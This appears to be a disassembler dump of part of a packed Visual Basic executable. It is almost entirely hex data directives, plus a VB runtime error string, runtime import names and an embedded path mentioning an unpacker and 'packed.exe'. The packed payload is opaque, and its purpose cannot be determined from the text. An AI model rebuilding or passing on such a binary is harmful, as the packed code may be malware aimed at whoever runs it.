dd 821D38ADh, 0A1A828D4h, 1877222h, 741DB491h, 0C2C12CA8h
dd 0E500DFAAh, 0E686CE4Ah, 0A875DB8Fh, 5C7D25A1h, 0CBBE1BE5h
dd 0BEAC4E6Bh, 7961409Fh, 87A1A888h, 0ADC86A1Fh, 0DBBF8C0Dh
dd 547B5AFFh, 0F0ABA389h, 8AA9E540h, 0A7C219ECh, 0AF2EC8EFh
dd 7F9A18EDh, 0E2B49DBh, 3C586D6Ch, 0CC58FB5Eh, 0B4C84036h
dd 627D986Dh, 0A1B6BBFBh, 1B35A51Dh, 0E82ED0CFh, 37C6E69h
dd 809B0000h, 0C2E4CDEh, 9ABEFC6Eh, 30486EFCh, 0B9DE9C8Eh
dd 0DF3F0F1Dh, 0ABB95D7Ah, 0C755ED15h, 70E280A1h, 0E1731732h
dd 7B6F46DFh, 85A1A88Eh, 4762FEF5h, 0A1807A6Ch, 691C84A7h
dd 8B0AB0D5h, 96EDAECBh, 269BEA72h, 95315614h, 86945414h
dd 41096887h, 0BFA7A18Eh, 0E740A1E6h, 35F54990h, 1BF79340h
dd 93E4A73Eh, 8030ADA4h, 93646E01h, 0BB58A1A2h, 0FE2599A1h
dd 52275958h, 9890FBAFh, 4564AEh, 8E210000h, 8A72946Eh
dd 817A0F62h, 7C571074h, 0A7A1806Ah, 0C96C2C94h, 0AA3C97B2h
dd 54A7A180h, 0EB8619ECh, 7CADA491h, 6872346h, 0B9792144h
dd 0D9D858CCh, 0A291CC86h, 0F953F0A1h, 988E7D29h, 104E6AEh
dd 5FD0000h, 0FE845FE0h, 0D019C629h, 0A48BDFBEh, 2C75A7A1h
dd 973453E0h, 1CDC9CA5h, 0E004BE9Dh, 70054746h, 0D5F395B2h
dd 55F0B031h, 0A1566C7Ah, 6A2AEAA7h, 15B1D7CFh, 4E21D494h
dd 2443E90Ch, 57CD5163h, 37F7542Eh, 11347677h, 0BEE6FB69h
dd 0F6A7A1BAh, 872537D3h, 0E239B862h, 10E585A0h, 0ACC9A7E3h
dd 88EB4E0Eh, 0ADA4E751h, 132E0B8Bh, 35D47693h, 0A1A2E6A5h
dd 0CC16E353h, 0B5DDBBDFh, 99F85D1Dh, 0ABA457E5h, 8BA68333h
dd 572EEF0Bh, 0ABA89703h, 0F08545FDh, 0E3711532h, 2BCBE8AAh
dd 0A2348FAAh, 5CABA897h, 0DD5124E4h, 5FF312B6h, 2489FF5Eh
dd 0C29E3DFFh, 0C8524202h, 5728C4C8h, 1F0839Ah, 0C2F0000h
dd 98B2F062h, 264260F2h, 0BCDC9280h, 45620012h, 53ABB3A1h
dd 0DF4DE90Eh, 4BD97999h, 0E4760C35h, 1507A3C6h, 0E7F3D24Bh
dd 11A1A890h, 20627249h, 24646505h, 10B6DD51h, 0A1496C02h
dd 1074C4B3h, 806A7C57h, 4994A7A1h, 0A1806076h, 66269EA7h
dd 8D2083A6h, 0AFADA491h, 0D3D3F6F7h, 52F413B5h, 0A4511153h
dd 0A291A12Dh, 66C69DA1h, 988E12C4h, 0EE8BAEh, 5100000h
dd 0C01F3AE0h, 0A180F9E1h, 0EA9F07A7h, 0D6F6AC8Bh, 35F7A928h
dd 296B6A10h, 25C1E65Ch, 0DC8AE500h, 3AA7A180h, 0FEBE6078h
dd 5019ECDFh, 1CE93424h, 0E21A0265h, 3752A7A1h, 14D47291h
dd 0A5456006h, 97731724h, 0D78913B2h, 0AE5FB92Fh, 0BAA53CDBh
dd 5EADA410h, 434774E6h, 0EFA7C267h, 8AA120CAh, 0A258BF2Bh
dd 19D959A1h, 0F652F56Ch, 90AFABA4h, 0A805A931h, 1AEF57ABh
dd 8DC86BB6h, 9580A71Bh, 67D28465h, 742CABA8h, 0F61D91B4h
dd 0D38A29B1h, 0F2B292EDh, 81254260h, 0C4D51311h, 7661E028h
dd 0D2h, 96842A4Dh, 614B6D0h, 0B0A24460h, 2634DAF2h, 51C36380h
dd 72C3545h, 97BFFD6Fh, 2A4B69FBh, 0C1E49A88h, 0AC690B19h
dd 0A89185D5h, 502B73A1h, 7A6C4762h, 84A7A180h, 5F5EFC1Eh
dd 0AA85D1Dh, 0A5DB49EDh, 1348DA80h, 0BB3AE005h, 2E3CDEFBh
dd 64C19DF9h, 0AA83EF0Dh, 6A8B09ADh, 0D58908C8h, 5A180AB0h
dd 0E7BE9B3Fh, 12D8A6E4h, 671EEB9Fh, 0C3DBC604h, 0EA42171Bh
dd 821D2247h, 0DB9322D4h, 0A0B27222h, 0E643E702h, 3B8D354Fh
dd 0B84DCD38h, 0BB638539h, 7660439Eh, 80DB93E7h, 5F5EF412h
dd 0C9A85D1Dh, 0F53D1FBCh, 0E793C7DEh, 0B56DDB93h, 0A34762C0h
dd 54FD94B1h, 2BC7EF69h, 0BECBEAAAh, 0A9517537h, 83A61CE9h
dd 3FFE6E7h, 86000000h, 0E2051A61h, 0DCF9BD3Ch, 0D6FFBF3Eh
dd 0D9F9BD3Ch, 2 dup(0DDFAB839h), 0E2FAB839h, 0DBF9BD3Ch
dd 0DEF8BA3Bh, 57FABD3Ch, 0C781E789h, 4, 5704EF83h, 42474FFh
dd 24048F5Fh, 7318685Ch, 1C890000h, 0E6895624h, 4C681h
dd 0EE830000h, 24348704h, 2414895Ch, 9033568h, 241C8B06h
dd 4C481h, 0EC830000h, 24248904h, 4240483h, 4EC815Ah, 89000000h
dd 428F241Ch, 2434FF08h, 4C4815Ah, 0FF000000h, 835B2434h
dd 0B1E904C4h, 0FAFFFB2Fh, 7F83B52Dh, 5D639F9Ch, 41F204D7h
dd 123FB85Dh, 0C5030609h, 0C0FDE0FFh, 0E8F877B7h, 0D8F9498Ah
dd 0FE86B83h, 0A7000000h, 67C8264Ch, 617AFED2h, 0C6FF9689h
dd 8E0FE2CBh, 3, 5AC38B66h, 0DE8h, 0B6313300h, 0EA1618E3h
dd 0AAA83F9Eh, 8B6648D9h, 0C2815EF0h, 5B50h, 583EBF60h
dd 820F3595h, 2, 336141B5h, 0FE9FFh, 85170000h, 0E3242972h
dd 216A046h, 0B98C77A8h, 1734FFC5h, 5840Fh, 81660000h
dd 5914BAF6h, 0EA38E981h, 0BF0F361Eh, 32C181C0h, 0E938A1D3h
dd 6, 1275159Dh, 0E981579Eh, 3F9A1897h, 5810Fh, 0EDBE0000h
dd 51082B0Ah, 0F3A048Fh, 184h, 830FFC00h, 5, 0F7B70F53h
dd 4EF835Bh, 0C6B70F56h, 6CFF815Bh, 0FFFFFA5h, 0FFFF9C85h
dd 8DC38AFFh, 914798Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0E4EFAF4h, 217E9903h
dd 9B5897Ch, 8906030Bh, 331D18Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 87ABFDF1h
dd 59E61893h, 69BD8922h, 0C706030Ch, 301E185h, 58D406h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0DFB0EF5Ah, 88BDD70Ch, 0BD85C78Dh, 60321h
dd 89000000h, 32D8185h, 56DB8106h, 0FF072F67h, 3324DB5h
dd 15BD8B06h, 0FF060323h, 3269195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0AA404076h
dd 0DA2EC2A1h, 9E93F681h, 6A52BDh, 1FB995FFh, 0C08B0603h
dd 25CD19EBh, 0F9E4BDDBh, 0BC9CEE46h, 5662A25Eh, 0FCCA38BBh
dd 0ED296DD7h, 0E9BD6AECh, 15Ch, 77E705C5h, 6D5C3A43h
dd 706E755Fh, 656B6361h, 61700072h, 64656B63h, 6578652Eh
dd 3Bh dup(0)
a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
dd 82A5CA5h, 1AAEE9h, 17EA6800h, 5EE90609h, 68FFFA67h
dd 60918D0h, 0FA6754E9h, 19BF68FFh, 4AE90609h, 68FFFA67h
dd 6091A72h, 0FA6740E9h, 1AB168FFh, 36E90609h, 68FFFA67h
dd 6091B87h, 0FA672CE9h, 1BDA68FFh, 22E90609h, 68FFFA67h
dd 6091C3Ah, 0FA6718E9h, 22D668FFh, 0EE90609h, 68FFFA67h
dd 609237Dh, 0FA6704E9h, 243268FFh, 0FAE90609h, 68FFFA66h
dd 6092512h, 0FA66F0E9h, 257168FFh, 0E6E90609h, 68FFFA66h
dd 6092646h, 0FA66DCE9h, 270668FFh, 0D2E90609h, 68FFFA66h
dd 609278Eh, 0FA66C8E9h, 2DC268FFh, 0BEE90609h, 68FFFA66h
dd 6092EABh, 0FA66B4E9h, 2F6968FFh, 0AAE90609h, 91FFFA66h
dd 1AEFFD02h, 891C7079h, 3B8EC2E7h, 0AB3E5253h, 0C5AF3DC6h
dd 6AB4C1Ah, 9A1BFF42h, 689163F6h, 0F9FE9164h, 7CCCCAEBh
dd 7105DAE3h, 2AD49759h, 6C2AA243h, 75F3F899h, 14787D10h
dd 0B334DBAAh, 0E1FF8A35h, 0AB61C9h, 0E2697512h, 0E0C542EAh
dd 0DD43710Bh, 3E95AF89h, 3952936Ah, 0ED000000h, 4B6785F0h
dd 0F020B991h, 0C99C770Eh, 0C17B3573h, 0EF0F069h, 23994C77h
dd 11FF790Bh, 4660F775h, 502CD5A7h, 0DF731038h, 83B1710Bh
dd 4143595Fh, 0D53C936Ah, 0BF000000h, 2AA2432Ah, 0F7C3B247h
dd 24E6FE71h, 876A62C9h, 8D5F37F0h, 0E1924BDh, 66CD9877h
dd 0F4946366h, 96B28669h, 770E19FDh, 0B6C39443h, 0EDA33F1Fh
dd 5205BD08h, 5869CF18h, 0F19513D2h, 0E4BE829h, 40650877h
dd 29D6B90Ch, 0A124A449h, 43A82109h, 4114770Eh, 0AAD592FAh
dd 4CD6720Ch, 0F2751154h, 3B466167h, 172505BDh, 0E26F08E7h
dd 487103h, 20AAC18Fh, 5E25E38Eh, 5A14C3E2h, 9017E68Bh
dd 0F9DF17Ah, 0A83D533Eh, 1B8322C7h, 0C0E6D6ADh, 18273528h
dd 31C00000h, 0A875D88Ch, 16F84D03h, 826AFFEDh, 0F59A6F7Dh
dd 0EB2A98CCh, 0B3D1DABFh, 27A54A2Eh, 553BC052h, 0C4882DC0h
dd 0B42DFDBDh, 87105D9h, 452AFB78h, 9F6E28BCh, 177AF6F7h
dd 6A697F80h, 4B6785F0h, 11FF4DFFh, 5A14C375h, 0C942E6A0h
dd 37710BDFh, 0DFEF68A0h, 9E4D710Bh, 25A24A22h, 0E3710BDFh
dd 2CD5A647h, 6F5329BCh, 41273D3Bh, 0E97C936Ah, 8CD32807h
dd 0E37A58B4h, 9B117414h, 0A681h, 432A3200h, 0F040D971h
dd 0D1BC770Eh, 45D0BF44h, 40C29503h, 725621DDh, 7CE2155Bh
dd 0ED785A51h, 149D7217h, 0A36BAC74h, 0EA8D770Eh, 5B3287C5h
dd 0A75325Ah, 0EC76D2ECh, 527511ACh, 761AEB87h, 0F6721771h
dd 0CAAD592h, 49B9D672h, 50076F09h, 19A27716h, 0E811E64Bh
dd 0D6A9D7C9h, 997414E6h, 1741h, 0F29617FAh, 67658E6Fh
dd 91F7FC92h, 147680Ch, 0B2D6DBBCh, 0C0510530h, 30C0553Bh
dd 0A674D98Fh, 13FA4F1Dh, 0E3A7FE92h, 5D8CE47h, 0E1823271h
dd 28BC452Ah, 0F6F79F6Eh, 7F80177Ah, 29CEA243h, 2A443F53h
dd 472AA243h, 2E590FB0h, 582D4563h, 0D17931BAh, 770EF038h
dd 1D5BD184h, 1210AF0Dh, 51268D75h, 638BDDA8h, 710BD0E6h
dd 0CEAAFE22h, 936A2DB6h, 0B7B1h, 18EEC200h, 0B1C9E792h
dd 1209C399h, 8B624175h, 9867626Ah, 63804BDDh, 236EBC76h
dd 775DED85h, 0F5A27881h, 0D2A54866h, 50B12AFEh, 580FA274h
dd 0A11777CDh, 0C3862BCCh, 9F28842Dh, 0FEB8F6F4h, 765B0B5Dh
dd 0EB41C87Eh, 72AA92C3h, 0F78469A0h, 0B0900921h, 79ECA472h
dd 0A83F1692h, 17987F0Eh, 2E09EC71h, 4AE02B83h, 0DB9A6169h
dd 344C54AFh, 52815C2Ch, 95000016h, 1EE3E106h, 8D10747Dh
dd 3F82C6EBh, 0AF325657h, 0C1A321CAh, 0AAF4016h, 9E1FF346h
dd 6C9567CAh, 0FD029578h, 78D0D6EFh, 7105D7DFh, 2AC8AB5Dh
dd 9D2AA243h, 6EBAF4F2h, 75121110h, 0AED5BB2Eh, 6AE34701h
dd 0D6770EF0h, 2E04A503h, 7A19D1BCh, 0FF049503h, 0ABA7F8EDh
dd 0DA530F0h, 111F673Dh, 0FBB62575h, 23924A51h, 441560EEh
dd 0E3B16BE4h, 750AD1F5h, 4147B52Ah, 631FEA16h, 0E70401C7h
dd 414718F3h, 0E2CD2036h, 6BF6FB9Ch, 926E9364h, 3A424B3h
dd 0EC3C7A78h, 0EDE4C4BBh, 39CCEA71h, 0AE335156h, 718F26C7h
dd 0E667FE2Ch, 159FCB06h, 0B9580000h, 30CD5034h, 9E70C58Bh
dd 0AE27715h, 7D12E7E5h, 63921074h, 0B596237h, 0BF2DD2A6h
dd 2DA3482Ah, 5C30B558h, 2CA58505h, 907105D6h, 432A03E0h
dd 46E303A2h, 8068E6D0h, 15604Dh, 0F7F89B00h, 4A6F0C91h
dd 0D4DDB306h, 0A4492DB0h, 37BC5D20h, 7624D351h, 0E17418A1h
dd 15F8EC11h, 9B6E6287h, 0C49DF3F4h, 0D6ED66C2h, 0A1537105h
dd 125E01C2h, 2CB77FAFh, 2ACDA01Ch, 0D9A4C385h, 22FC9FDBh
dd 189D713Dh, 0A0EB7B47h, 3DD08AC4h, 0AE33555Ah, 3DA820C9h
dd 0BCF2DA56h, 3A7511EAh, 0AE3EBF57h, 9138AC3Bh, 595722C8h
dd 0FB530921h, 0F2D16F0Eh, 6B90621Bh, 0CF996461h, 0B9730F9Ah
dd 0ECFF891h, 1B914477h, 7783CE5Eh, 0F99A0AA7h, 84AFFA42h
dd 0E6512FFEh, 0C5651D9Bh, 0D869ACFFh, 0C9FEEE7Dh, 0A28620BEh
dd 0DA616971h, 9B2402Fh, 8E6104A2h, 0E9F56EBAh, 9C4BDA61h
dd 947931h, 0E7727307h, 6004E0E5h, 0BAF5FA9Dh, 7A7D4152h
dd 8A825F2Fh, 0AD000014h, 0D6BB29CEh, 4528BC45h, 0F75A0EB3h
dd 67CA9E1Fh, 897B6992h, 7277184Eh, 0C6E78B1Eh, 545D3F82h
dd 25CAAD30h, 0B0981EA7h, 7105D617h, 6F10D365h, 770EF0F6h
dd 0F00C643h, 0F09E3B77h, 7613770Eh, 8E770EF0h, 73AFC6E7h
dd 20E6D046h, 14379548h, 21F00000h, 9865C89Ch, 6E87D13h
dd 721AEFFDh, 0E58A1F4Dh, 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh
dd 450BB042h, 0F4981DF0h, 0C45DEDADh, 387105D5h, 6C01EB88h
dd 64616B8Ch, 0AE543F88h, 3CA923C8h, 57311951h, 25751200h
dd 4DC8167Ch, 87760BB0h, 0D5BB2E79h, 0EA2E412Ch, 0AFE0D3A2h
dd 13D702DFh, 81100000h, 0F885687Ch, 66089DF3h, 0D2BA0F5Dh
dd 452ABF2Dh, 9B5A28BCh, 0C3812ACFh, 77159A7Eh, 0E5EB10E2h
dd 14787D10h, 64FD4D4Dh, 0D87105D4h, 432A4B28h, 5731B65Ah
dd 3BD47432h, 81770EF0h, 0B01D4FDAh, 15B0D8DDh, 0DFE5F327h
dd 98996D4Dh, 25h, 4A6B0FDEh, 0F26F75EEh, 2770EF0h, 0F6064A6Bh
dd 7739E33Bh, 0C2A67931h, 17F8AFEEh, 7895F573h, 1361h
dd 0A2432AFBh, 0F4F29D2Ah, 395019BAh, 6D0004B1h, 0EEE62F9Bh
dd 8E6AF176h, 406678D0h, 31A47511h, 81691453h, 0BE6DA104h
dd 0CAA3163h, 0E76463Ch, 0CE9C46Fh, 1676771Fh, 4F19E473h
dd 0E1E70CE2h, 0E35BB59h, 3A87577h, 961BF84Dh, 0D98807D8h
dd 27A14A2Bh, 0C5871DA2h, 513C4C28h, 0FEAD3FC4h, 0B9731246h
dd 0E33F891h, 1B914477h, 7BCFA576h, 770E33E2h, 18A1735Eh
dd 238E1570h, 957E86ADh, 6B25996Ch, 400099B1h, 0E97C770Eh
dd 0E3F26BFh, 0C1C9A77h, 770E3F93h, 199762E9h, 19203h
dd 6947900h, 1D2DEBFDh, 770E3F84h, 2A866DF8h, 6785F0A9h
dd 1E29FF4Bh, 0A3E77512h, 0BBF0E87h, 18E77271h, 4F27C670h
dd 0DEBFD2AEh, 5122B7D5h, 7B1820A8h, 0B5710BCEh, 238EDEE3h
dd 0BA21AB4Ch, 0F4E4567Ah, 25CEA342h, 44276B4Fh, 0BD2FD4A1h
dd 5C394C28h, 0B763157h, 0DF75D5EDh, 5D6F0ED9h, 711BA076h
dd 72DF8914h, 0ED70149Dh, 5DE5E70Ch, 770EB1C2h, 5E3CD167h
dd 0DA563355h, 17F8B2E6h, 8A6BFE92h, 0F99A6761h, 0A426708h
dd 0B98F05Fh, 0F08DC509h, 566E85CBh, 4D996D13h, 0B5D7D8B8h
dd 0CB7F661Ah
dd 0D2B97172h, 384456h, 2AF70000h, 412CBC45h, 0FC410BB0h
dd 6EF3951Eh, 91696388h, 9143095Dh, 591C100Ch, 0E39B28B7h
dd 0AE880129h, 61F4770Eh, 2B63B78Bh, 42FBD46h, 996D1000h
dd 0AEFFh, 47017800h, 0EF06AE3h, 0A503D677h, 0F1A26F1Ah
dd 384B7326h, 0C059730Ch, 3C770DF1h, 84A4C2A9h, 75110A86h
dd 9A6761F4h, 0D7B6F0F9h, 0ADC1BF40h, 0D6B63BD8h, 4701AA4Bh
dd 0C06822C4h, 710B1947h, 764A26B5h, 668B6822h, 7ABBC162h
dd 56B49369h, 2000000h, 1567E048h, 6D5710Bh, 88F029AAh
dd 0F4FE8FAAh, 0D9A40905h, 0EF4089A1h, 0A93C770Eh, 0ED7A173Fh
dd 506C770Eh, 0C0E8900Ch, 7132C7A6h, 36B2199Eh, 0ED67D078h
dd 6D5770Eh, 0E1AD442h, 770EED95h, 0F629D2A7h, 10908563h
dd 0E6000000h, 42982735h, 0C7BDCC7Ah, 425A4Ch, 2AD90000h
dd 0CB54744h, 2AA2095Ch, 5F0DB647h, 0E68029CAh, 1E4E6F07h
dd 0EA9DED4Bh, 0CF49039Dh, 56CF5B15h, 0AA770EF0h, 0F074ED3Fh
dd 1DC8770Eh, 5A9787A7h, 3BF9ABD6h, 52FB0117h, 23F4996Dh
dd 700000Ch, 6A8F6C01h, 3E896762h, 0ED355751h, 0FDAA2479h
dd 0F99314FBh, 6F798214h, 8D0D516Dh, 0EEA3EE2h, 0FC219F6h
dd 2EF1h, 83F00200h, 64FD4D65h, 0D8770EF0h, 7CB35B0Dh
dd 0B4DE622Ch, 44294488h, 0B5E0EB3h, 857E86ADh, 4025EFF9h
dd 85D0FB0h, 271AEACh, 0F0C90000h, 67886583h, 0A2432AE4h
dd 0C3615304h, 603EC940h, 8E9C2F5Fh, 0C2BE44F7h, 93440241h
dd 5A988309h, 28AB01ADh, 6D568074h, 267F98h, 0F0F80000h
dd 1886583h, 0EF0AB29h, 0E1420977h, 442A8201h, 58C2C975h
dd 60348065h, 8865F05Fh, 275A72F1h, 0D9000000h, 886583F0h
dd 0F0AB2901h, 0EEA8770Eh, 0EF0C15Ah, 0DDA83F77h, 2A820160h
dd 0F1C6BF44h, 546CE4B7h, 3E2B7585h, 2C6FC142h, 48B8F61Dh
dd 0E079D1A7h, 5CB4EFB4h, 8F34DA89h, 36D9AC20h, 5D329FB1h
dd 24587C54h, 2ED7BEF0h, 0BC29A348h, 9DC9AD1h, 5F0A4267h
dd 0C4E98CE1h, 5D0D25CCh, 362B32E5h, 66C43B78h, 362B68Ah
dd 164CB550h, 89FC0B6Fh, 909F207Ah, 28BD3BF3h, 4D05A045h
dd 0E91EB793h, 3D62B4EFh, 5C4BB22Eh, 0A400EF8Dh, 97892EC1h
dd 7311553Ah, 0C1B4EF70h, 37BB5C1Ah, 24265ED6h, 0B7D3F349h
dd 9DFC26F9h, 69A5C6ADh, 237BAF93h, 550FAB4Ch, 0EF9B5CF5h
dd 0BF35A0B4h, 618A6F02h, 0D2D7A449h, 606F3656h, 0AEE03468h
dd 0F2AC20C9h, 0FD7B7C13h, 0C6E005E8h, 9BA33C0Ch, 6E67B4EFh
dd 555CBF11h, 0B309DCF7h, 0ED593E93h, 0B4EF426Fh, 0BF58F0AAh
dd 3DB4EF42h, 64F3D2AEh, 8AD412Ch, 5C1BFD40h, 14F21D91h
dd 0A028B7FEh, 7CDE0232h, 24478BA9h, 0B309AE41h, 0FBB637DEh
dd 247C8114h, 0A267A8Dh, 0C4E98CC6h, 7E1CF1A9h, 3EAFF75h
dd 2ACFA2E2h, 85109579h, 0AE4F268Bh, 0EBC1533Eh, 0EF07C65Fh
dd 0C0AF3AB4h, 0A8FC3088h, 0DA0E326Eh, 6330ED80h, 0FAB4F35Eh
dd 76FE840h, 1ECDB4EFh, 4C1CA54Bh, 2A20A319h, 67C1A243h
dd 6088F0E4h, 44B79546h, 4CDF2D12h, 288B492Bh, 0BF359AAEh
dd 18102C4h, 912D305Eh, 0FC78275Fh, 6C75BDB7h, 37BA98h
dd 0F0C50000h, 1836088h, 0EF0AB29h, 69AD6E77h, 0FC390881h
dd 1ECDE440h, 2A8201A5h, 0F1C3A049h, 0B42DFDB7h, 44770EF0h
dd 47120DB6h, 395A6AE9h, 1C000000h, 0AB01A649h, 6088F028h
dd 0AB290183h, 0A8770EF0h, 0DE8E33C5h, 1473C8Bh, 0D3D0A647h
dd 0B4D1BB3Ch, 2AD05329h, 4C06A049h, 0BAD2D7B9h, 0F064FD2Fh
dd 0DD8770Eh, 72F13CB7h, 0EEB006Fh, 0E094E77h, 0E73ED773h
dd 0D782770Eh, 78993182h, 0FD3A8EEDh, 6F35FFFFh, 770EF0F2h
dd 5F0DABD8h, 0CD9F24CAh, 0EF0AC25h, 3BBC5C77h, 8429CC51h
dd 6CB06CC4h, 375B59D2h, 7C10997Fh, 0E1E70CE9h, 36E9BEC6h
dd 1F59FD48h, 78088DCh, 75770E1Ah, 0C7711BE6h, 0CDAB5026h
dd 3BE69BFDh, 6B3DDD39h, 0B86C46DFh, 402FBA34h, 0D0D5A508h
dd 0E529EBB8h, 0C2160A55h, 16C9CED6h, 2498957h, 2CEF0000h
dd 49A7E19h, 3F0BA7D1h, 34B8A4A6h, 72F14F1Ah, 67886C01h
dd 0A4846065h, 770EF026h, 41797702h, 1E6A09Eh, 88647E43h
dd 5EB07ACEh, 56097511h, 0AB681E1Bh, 9BBA36B2h, 633598CCh
dd 0C266205Eh, 710B8749h, 244420B7h, 5537BC59h, 0B26B02E3h
dd 1E4ED5DAh, 73DEDFB3h, 0FE0390F5h, 30AED9EEh, 4C29BC76h
dd 5BE1C9A7h, 0BE6F0E8Ch, 2D2ACC1Dh, 17ED525Ah, 0C208AB3Eh
dd 9FE6D08Fh, 0D3B12CFh, 1DFC0000h, 9461F498h, 294796Fh
dd 6E06EBF9h, 0E1B61B49h, 0FF3EB4D8h, 0AF3DC6ABh, 0D3B136DAh
dd 4107AC4Eh, 0F09419FCh, 0C841E9A1h, 347105CEh, 432AE784h
dd 0FA93B771h, 46770EF0h, 0F020B993h, 39C770Eh, 8261D600h
dd 395E2544h, 0FA50AE31h, 0C28A11C2h, 5724DAA5h, 555E3F52h
dd 0A498B0CEh, 0A27507CBh, 4EA7B37h, 5E2FE9FFh, 305537BCh
dd 0BA3FD1B4h, 0FFA84FD2h, 0ADB05D18h, 90E9F711h, 0BB064305h
dd 648D6EFFh, 5736E088h, 0C45538C1h, 8BF6413Fh, 6BF5556Dh
dd 0D16F08B3h, 3BD96B0Ah, 6606E6DAh, 0C94EBh, 23C45700h
dd 0B63BD8ADh, 0A94FD2h, 9015F94Ch, 638869FCh, 258876Dh
dd 0BD00446Dh, 21B4D8DDh, 573AAE53h, 8A93FC0h, 0CD21BA8Eh
dd 0ED9F7105h, 0A2432A0Eh, 0F4F29D2Ah, 8F6D00BAh, 0F632B5A0h
dd 0AC3B9B90h, 9092F8D0h, 3D907511h, 5530585Dh, 60379ACEh
dd 137E095Fh, 764DDD95h, 0CA6F0486h, 0EFA9631Fh, 485C25Bh
dd 0CDAB3E77h, 0AEE7D6B8h, 4BCFFF37h, 48942B2Eh, 6AF1F8AAh
dd 954FC99Fh, 42D1CB5h, 7FF56077h, 6D7F846Ah, 80C8ED80h
dd 19A27716h, 4B6914A3h, 43911B2Fh, 2EE87507h, 503811Ah
dd 8C68FF71h, 0AB8F26B5h, 28E0D9ABh, 0BDF8D40h, 79180000h
dd 0F08D1074h, 5E3085CBh, 0CAA23755h, 3DD2A725h, 0A352D0B4h
dd 0CB9922F7h, 7F6D9266h, 0EDE308EAh, 1C707518h, 6CE54545h
dd 0D07105CCh, 47014320h, 0EF06AE3h, 729A877h, 4A5D637Ah
dd 26C99C4Bh, 0AF462B81h, 5E295E0Eh, 0FC022640h, 7A7511B7h
dd 8714F9EFh, 9136F0A8h, 836EB94Dh, 6D9678CDh, 0D8DDB055h
dd 0F04B085Ch, 0FF4B6785h, 7511F5B1h, 4890F86Fh, 710BD5CBh
dd 7A129765h, 74050697h, 0E3E8E04Fh, 923D9DC1h, 667E7AAEh
dd 61936A37h, 84h, 6A492A92h, 6E87F8Bh, 86C6AD68h, 19515A3Bh
dd 0A503A474h, 139478C5h, 0E2079479h, 0BF5D30EEh, 0B937523Ah
dd 4D65830Eh, 11BC6BFDh, 41E9A175h, 710B9EC8h, 0A10CC04Ah
dd 958CD22Bh, 14387BC6h, 0E9E0D3EBh, 0AFFCC01h, 59380000h
dd 0D0AD3054h, 3ED0A52Bh, 0AA42D7B5h, 1DF24705h, 0C372F094h
dd 0EBF90297h, 1F4D7206h, 8DC3E88Ah, 3C505538h, 8C052565h
dd 0F07105CBh, 492AA340h, 56292CA0h, 54000000h, 28A0492Ah
dd 0B8F6F49Fh, 0F0B12AFEh, 580F770Eh, 86A2DCh, 7E7511F6h
dd 5D5AC8EBh, 0E787E0D3h, 0AA06Ah, 37B85B00h, 8A2FCC51h
dd 149D73C6h, 0E409ED70h, 777C1DE0h, 36649311h, 0A1345861h
dd 0D5B82CD1h, 5B2EA247h, 45D33B4h, 0CB2DA682h, 0E1937105h
dd 0A6470102h, 66FF29CEh, 0DA770EF0h, 811120C5h, 0E9557D2h
dd 0C73FD870h, 2EBD770Eh, 57583F52h, 20C5A835h, 0EB3FFDA8h
dd 0E2079578h, 3201FFEAh, 996D252Ah, 23725h, 20F29300h
dd 0EEA61D9Bh, 39B7C268h, 777DE81h, 87786454h, 5DB6F29h
dd 837511A6h
dd 738F99D4h, 5BA17B3Dh, 54F4B230h, 7F7D3C26h, 0BCD320F3h
dd 42203FD4h, 7018CFE6h, 10AE4C37h, 0D9E2B756h, 0C31A4B63h
dd 3B968175h, 0AFCB5657h, 0F8B637DEh, 8871EA3Eh, 18CF817Dh
dd 0BF4EC89Ch, 3459D7D8h, 3B255C61h, 0E013412Eh, 9CBD508h
dd 8D6C0000h, 4916468h, 7204E9FFh, 0DEB61B49h, 51268BD9h
dd 8F4E24A8h, 0DF8D36DBh, 4301A64Ah, 0F1971CFEh, 6064896Ch
dd 58F15951h, 0A47105CAh, 47015714h, 0EF06AE3h, 0A503D677h
dd 0DE8E33C0h, 0A6C0DEA9h, 8046982h, 0BEFB075h, 0D8016AABh
dd 66F5CCA8h, 0D0D5A548h, 0A44929BCh, 5FF8500Ah, 0DD71052Dh
dd 0ADDAB20Eh, 0DBAAC4E2h, 8DD8B039h, 0D7B136DEh, 0D07836B2h
dd 6F082836h, 0DF99D184h, 6B8A690Eh, 0C9DEC808h, 29CB9E65h
dd 279DC880h, 7109AE42h, 6C0DFE9Ch, 0F590F847h, 0F2866B7Fh
dd 631D9BCDh, 0EE418DB0h, 0C9C308E8h, 7704ED50h, 2E4339ACh
dd 30FA647h, 0D0E6DA45h, 90B2538h, 4D2C0000h, 0C45124A8h
dd 32C4A93Fh, 9E76DB89h, 11E64B19h, 0CF0EE4E8h, 9FCDF69Bh
dd 341660Ah, 0B1D7DCBEh, 20A4492Ch, 98311991h, 0E47105C9h
dd 0F0D89754h, 770EF04Fh, 0D3F92D07h, 0F9B12F5Ah, 11EBB751h
dd 18560575h, 4A1EA375h, 525739CCh, 531E69D6h, 0BE35EF7h
dd 44E4A271h, 710BE3CBh, 88DFAA31h, 3C7AC1EAh, 98130ECh
dd 1F5B0E6Fh, 0CAEF8065h, 469C782h, 0B5184C71h, 0D6A2DDE2h
dd 7BE6D6E8h, 8837E93h, 0D5A40000h, 4C29BCD0h, 0BA5C21A7h
dd 26CE5331h, 997EC381h, 47F67C10h, 17757E13h, 9BC9EE82h
dd 95F6436h, 0B82CD1A4h, 1089A119h, 6C7105CAh, 0F26F1FDCh
dd 2770EF0h, 69064A6Bh, 42E6801Eh, 7511ABB1h, 0C0179748h
dd 7E870A76h, 0B7631AAh, 4DD88F71h, 6F0BDEF7h, 99F3F89Eh
dd 573670CCh, 0C5A83CC5h, 11F4B237h, 0D610B483h, 99713E71h
dd 0B10F5A32h, 81BC5FD9h, 850EE2F6h, 2CED3A9h, 75000008h
dd 4B6785F0h, 120735FFh, 6C7CEB75h, 0BC747C4h, 0B5FC571h
dd 6A29172Dh, 1ADD093h, 0C7A60000h, 89DC8C35h, 482AB033h
